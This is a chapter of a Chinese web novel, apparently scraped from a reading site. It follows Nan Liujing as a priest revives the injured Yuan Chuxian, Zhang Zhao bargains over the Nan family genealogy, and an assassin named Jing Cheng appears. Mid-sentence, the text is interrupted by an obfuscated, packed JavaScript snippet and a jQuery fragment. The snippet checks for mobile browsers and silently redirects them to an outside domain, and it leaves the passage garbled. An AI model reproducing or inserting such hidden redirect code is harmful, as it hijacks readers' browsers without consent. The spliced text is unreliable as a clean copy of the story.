80. 认可(二)

作品:《月白听风起

    “怎么?我就不能来吗?”


    戴着墨镜的男人微微一笑,他身着一袭藏青色的长衫,长身玉立,及腰长发自然地在脑后束起马尾,若非开口,南流景一时间还判断不出他的身份。


    “麒祭祀?”他连忙停好车,背了元初弦从车上下来,“您这是……”


    “先上楼吧。”麒笑了下,“这里人多眼杂,不便交流。”


    几人乘坐VIP电梯,到了南流景居住的楼层,将元初弦安置好后,南流景惴惴不安地望向麒:“请问……”


    麒用食指抵住唇,示意他噤声,接着从袖口深处拿出一只淡青色的琉璃玉净瓶,拔开堵住瓶口的塞子,用里面倒出一颗暗黑色的药丸来。


    “这是太微还魂秘丹。从古至今,也就那么三枚,其一曾为一名王公贵族所用,拯救其心上人,其二遗落散轶于民间,剩下的……”他顿了顿,“便是我手上的这颗了。”


    南流景不想跟他讲有的没的客套话,“拿来便是了,什么神药,一开始不都是做出来救人的吗?”


    麒哑然失笑,“少主莫怪,我也是算到今日初弦小姐必有一劫,这才会带着还魂丹现身。”


    “……你喂给她吧。”


    南流景很不想承认宿命论,但人命关天,无论是神丹还是假药,他都想先试试。


    万一医好了,岂不美哉?


    也不知麒知不知道他这些小心思,只见他轻轻捏住元初弦的下颚,迫使她张嘴,吃下丹药,接着让南流景伺候着用水送服。


    做完这些,他行了一揖,“那我就先告辞了。”


    “且慢。”张钊叫住了他,声音颤抖。


    “老师……为何这么多年都不曾来见我?明明您根本没死……”


    她几乎有些哽咽:“明明我是那么牵挂您……”


    麒的脚步顿在原地,他没有转身,颇有些自嘲地笑了下。


    “人生在世,除去三五好友、生身父母,何来牵挂一谈?我们不过是萍水相逢,于你,我是一介过客,本不必如此在意。”


    “一日为师,终身为师。”张钊抿唇,“再说,您其实完全明白……”


    “不必对家族抱有芥蒂,毕竟,那也曾经是生养你的地方。”麒叹了口气,“他们若是需要「戒律」,借给他们便是了。”


    说罢,麒离开了,出乎南流景意料的是,这次张钊没有挽留。


    她默默站在原地,有一瞬间,南流景似乎从她身上看见了曾经意气风发的少年模样。


    “我们来做一个交易吧。”她抬头,方才稚嫩的形象荡然无存,“我需要南家的全部家谱,无需原件,影印本即可。”


    “作为交换,我会交出黄金枪。”


    南流景想也不想:“成交。”


    张钊挑了挑眉,凌厉地审视眼前的年轻人:“你就不怕我找出什么不利于南家的秘辛?”


    “无所谓。如果我无时不刻都在担心丑闻,那我基本上可以不用考虑别的事情——每天郁郁寡欢、杞人忧天就是了。”南流景无所谓地耸肩,“若是我自身能力不强,恐怕南家早就将我架空,让南屿做实际上的少主了。比起这种鸡毛蒜皮的小事,我更担忧元初弦的安危。”


    张钊的眉头这才舒缓:“这还差不多,有几分南家继承人的模样。”


    南流景暗自松了口气,明明张钊个子还没到他身高的三分之二,他却对此人有种莫名的恐惧。


    “比起像你父亲,你更加像你太爷爷,是件好事。”张钊叹气,“当年,南胤行——也就是你叔叔的事情我略有耳闻。娶了自己不喜欢的女人,甚至那个女人还诅咒了许家的继承人。这就算了,最过分的是,他在外面还留了个种,也不知是不是还活着。”


    南流景的脸上闪过一瞬间的阴霾,不过他很快就整理好表情,笑着说到:“就算要与我争夺家主之位,我也有百分百的自信,在南家这十余年付出的一切,都被家长们看在眼里。部分人想要左右南家这艘大船——怕是痴心妄想。”


    “你心里有数便好。”张钊面露惆怅,“当年我最好的朋友白樾瑾丧生,师傅麒受牵连,我得知消息的那天,只收到他的一对眼珠……现在想来,夺了黄金枪逃亡前,和南归期见的那一面,居然真成永别了。”


    “因为阿瑾的事,他郁郁寡欢,没有续弦……膝下仅南甫一个独子,而南甫向来软弱,根本成不了大器,正因如此,他几度想寻短见,都因南甫无法担当大任,放下了念头。”


    “他明明那么疼爱胤行,说他的眼睛很像阿瑾……可惜啊,狼子野心。南归期一死,南胤行简直演都不演了,连我这么多年隐居,都听说过他的事迹。”


    张钊顿了顿,有些尴尬地收回话头,“南归期铁血手腕,你要是能有他一半,南家的未来定会好上不少。即便他也有失误的时候,但他毕竟改变了南家。引进西学,交流学堂都好,没有他,南家就没有如今这般昌盛。说不定在与任家的斗争中,早早便灭亡了。”


    “任家?”


    南流景皱起眉头,历史课上,似乎从未听老师提及关于这个家族的历史。就连北郡的灵能家族纷争,历史书上都有一笔带过。


    “哦,你们这一代不知道也正常。如果不是专门研究历史的考古学家,倒也不必对失败者过于上心。”


    张钊含糊地带过。


    又来了,那种让南流景讨厌的感觉,他按了按眉心,似乎这样稍微能缓解一下自己的头疼。


    “你先休息吧,「戒律」我就交还给你,好好照顾小元,我先回家了。”


    张钊离开的时候,南流景看到了那根她头上的簪子,随着她的步伐晃动,霎是好看。


    看来还是逃不过拍卖行这一关。


    辛辛苦苦赚来的钱,约等于打了水漂。不过能收回「戒律」,总比它流落在外要好。


    南流景看向床上的元初弦。不知是心理作用,还是丹药真的有效,她纸一样苍白的脸上,终于有了些血色。


    “对不起,初弦,都怪我没有保护好你。”


    他埋头在元初弦的手旁,好像这样,元初弦就还醒着,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435177|178254||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能摸摸他的头发。


    以前初中的时候,她总说自己的头发软软的,很好摸。


    那时南流景总黏着她,却不知道当她触碰自己时的心跳加速,究竟是因为什么。


    禁-忌而隐秘的想法渐渐在他心底里滋生,看见元初弦和别的男生谈笑,他会吃醋,闹上好几天的脾气,让对方完全不明就里。


    因为没事就找其他班级的女生一起玩,南天仲那帮男生总打趣他。出于逆反,他嘴上并不留情,身体还是老老实实地做出真实反应,本能地在看见元初弦时,忍不住关心挂念她的存在。


    有一次下雨天,他和南天仲他们一起谈笑着下楼,余光却敏锐地捕捉到了一旁的元初弦。


    她站在雨中,整个身体都被淋湿了,头发一绺一绺地垂在肩上,脸上没什么表情,只是呆呆地望着雨水流淌的轨迹。


    “欸,那不是初弦吗?”南天仲恶趣味地用手肘戳他,“你不去找她玩?”


    “我不去。”南流景极力否认他内心任何一点旖旎的想法,他咬着下唇,“我们走吧,不是说还要一起打游戏吗?”


    说到打游戏,果然南天仲比他还要精神百倍,和元初弦有关的那点八卦立马抛之脑后,对最近的网游版本更新夸夸其谈。


    南流景最后又看了她一眼,她还是呆呆地看着远处,甚至没有看他的方向,任何一眼。


    他收回目光,跟上热闹的人群。


    好像只有两人独处的时候,才能彼此享受真实的对方。


    他没有保持一以贯之的毒舌,而元初弦不似外人面前的呆滞。


    这些细碎的、藏在日常缝隙中的小小回忆,就像甜味剂,是两人共同的秘密。


    恍惚间,他似乎感觉到,元初弦的手指动了动。


    -


    “这么看,南家还挺有钱的,居然真的付了1000万。”


    露天浴缸里,男人白皙的身子露了个大半,下-身浸泡在洒满花瓣的浴缸中,瘦削却结实的腰因他的动作露出一截,他双手支在浴缸的边沿,状似无意地开口。


    他身旁的托盘里放着一只精致的高脚杯,09年的玛歌干红,目前处于有价无市的状态。


    侍者恭敬地用手托着浴巾,随时准备侍奉他出浴。


    “我劝你还是少惹点事。”男人冷笑,他面上爬着一条长而宽大的刀疤,青虫一般粗壮,侍者有些畏惧地弓起了背,尔后条件反射般站直了。“我来找你,不是为了给你擦屁股的,景澄。”


    大名鼎鼎的杀手青鹫,并没有因为这一句责难露出任何不悦,反倒眨动那双漂亮的丹凤眼,凝目向眼前高大的男人。


    “哥哥,”他勾起艳红的唇,“他们查不到我头上的,你放心,做得滴水不漏,绝对隐秘。”


    “你还特地去找南流景,真是个疯子。”景焱厌恶地看着自己的亲弟弟,“怕别人不知道你是干什么的吗?恶心。”


    “我做什么,只是我自己一个人的事啊。和哥哥你,并无关系。”


    景澄依旧面带笑意。